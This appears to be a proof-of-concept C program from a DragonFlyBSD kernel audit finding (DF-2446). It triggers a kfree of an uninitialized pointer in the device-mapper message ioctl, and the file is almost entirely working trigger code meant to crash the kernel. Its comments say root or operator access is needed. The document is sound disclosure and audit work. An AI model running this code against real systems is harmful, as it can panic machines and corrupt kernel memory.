DragonFlyBSD Kernel Audit
DF-2446 / dm_uninit_msg.c
← back to finding ↓ download raw
/*
 * DF-2446 PoC — dm_message_ioctl uninitialized `msg` free/deref.
 *
 * Bug: in sys/dev/disk/dm/dm_ioctl.c dm_message_ioctl():
 *   1006:    char *msg;            <-- UNINITIALIZED
 *   1028:    prop_dictionary_get_cstring(dm_dict, DM_MESSAGE_STR, &msg);
 *                                  <-- return value NOT checked; if the
 *                                      "message" key is missing or wrong-
 *                                      typed, libprop's prop_dictionary_get_cstring
 *                                      (sys/libprop/prop_dictionary_util.c:185)
 *                                      returns false WITHOUT writing *cpp,
 *                                      leaving `msg` as stack garbage.
 *   1058:    kfree(msg, M_TEMP);   <-- frees a stack-garbage pointer.
 *
 * Trigger: send a NETBSD_DM_IOCTL with command="message" and a valid dm
 * device name (so dm_dev_lookup succeeds and we reach the buggy kfree),
 * but OMIT the "message" key from the dictionary. msg stays uninitialized,
 * and kfree() is called on whatever stack residue the pointer holds ->
 * panic / INVARIANTS trap / use-after-free.
 *
 * Privilege note: /dev/mapper/control is created as 0640 root:operator
 * (sys/dev/disk/dm/device-mapper.c:181) and the dm module must be kldload-ed
 * by root.  This PoC therefore must run as root (or an operator-group
 * member) -- the bug is a root->kernel hardening/robustness gap, not an
 * unprivileged->root escalation.  See VERDICT.md for the privilege analysis.
 *
 * Build:  cc -o dm_uninit_msg dm_uninit_msg.c -lprop
 * Run:    ./dm_uninit_msg            (as root, after `kldload dm`)
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <libprop/proplib.h>
#include <dev/disk/dm/netbsd-dm.h>

#define	DM_CONTROL_DEV	"/dev/mapper/control"
#define	DEV_NAME	"df2446dev"

static int
send_ioctl(int fd, prop_dictionary_t dict)
{
	int rv;

	rv = prop_dictionary_send_ioctl(dict, fd, NETBSD_DM_IOCTL);
	return rv;
}

static prop_dictionary_t
new_dm_dict(const char *command)
{
	prop_dictionary_t dict;
	prop_array_t ver;

	dict = prop_dictionary_create();
	if (dict == NULL) {
		fprintf(stderr, "prop_dictionary_create failed\n");
		exit(1);
	}

	/* dm_check_version requires major==4 and minor<=16 */
	ver = prop_array_create();
	prop_array_add_uint32(ver, 4);	/* DM_VERSION_MAJOR */
	prop_array_add_uint32(ver, 0);	/* minor <= DM_VERSION_MINOR (16) */
	prop_array_add_uint32(ver, 0);
	prop_dictionary_set(dict, DM_IOCTL_VERSION, ver);
	prop_object_release(ver);

	prop_dictionary_set_cstring(dict, DM_IOCTL_COMMAND, command);
	prop_dictionary_set_uint32(dict, DM_IOCTL_FLAGS, 0);

	return dict;
}

int
main(void)
{
	prop_dictionary_t dict;
	int fd, rv;

	fd = open(DM_CONTROL_DEV, O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open %s: %s\n", DM_CONTROL_DEV, strerror(errno));
		fprintf(stderr, "(is the dm module loaded? run: kldload dm)\n");
		return 1;
	}

	/*
	 * Step 1: create a dm device so dm_dev_lookup(name) in
	 * dm_message_ioctl finds it and we reach the buggy kfree.
	 */
	dict = new_dm_dict("create");
	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME);

	rv = send_ioctl(fd, dict);
	printf("[*] create '%s': prop_dictionary_send_ioctl rv=%d (%s)\n",
	    DEV_NAME, rv, rv ? strerror(rv) : "ok");
	prop_object_release(dict);

	if (rv != 0) {
		fprintf(stderr, "[!] create failed; aborting.\n");
		close(fd);
		return 1;
	}

	/*
	 * Step 2: send command="message" with the same device name, but
	 * OMIT the DM_MESSAGE_STR ("message") key.  prop_dictionary_get_cstring
	 * returns false without writing &msg, so the kernel `msg` stays
	 * uninitialized and kfree(msg) is called on stack garbage.
	 *
	 * We deliberately do NOT set "sector" either, so sector==0 and the
	 * first table entry is selected (found stays 0 because the device
	 * has no table loaded -> the target->message call is skipped, taking
	 * us straight to the buggy kfree at line 1058).
	 */
	dict = new_dm_dict("message");
	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME);
	/* NOTE: DM_MESSAGE_STR intentionally NOT set */

	printf("[*] sending message ioctl WITHOUT 'message' key...\n");
	printf("[*] expect: kernel panic / INVARIANTS trap in kfree of "
	       "uninitialized stack ptr\n");
	fflush(stdout);

	rv = send_ioctl(fd, dict);
	/* If we get here at all, the kernel did not panic on this run. */
	printf("[!] message ioctl returned rv=%d (%s) -- kernel survived "
	       "(stack residue happened to look like NULL/valid-freed?)\n",
	    rv, rv ? strerror(rv) : "ok");

	prop_object_release(dict);
	close(fd);
	return 0;
}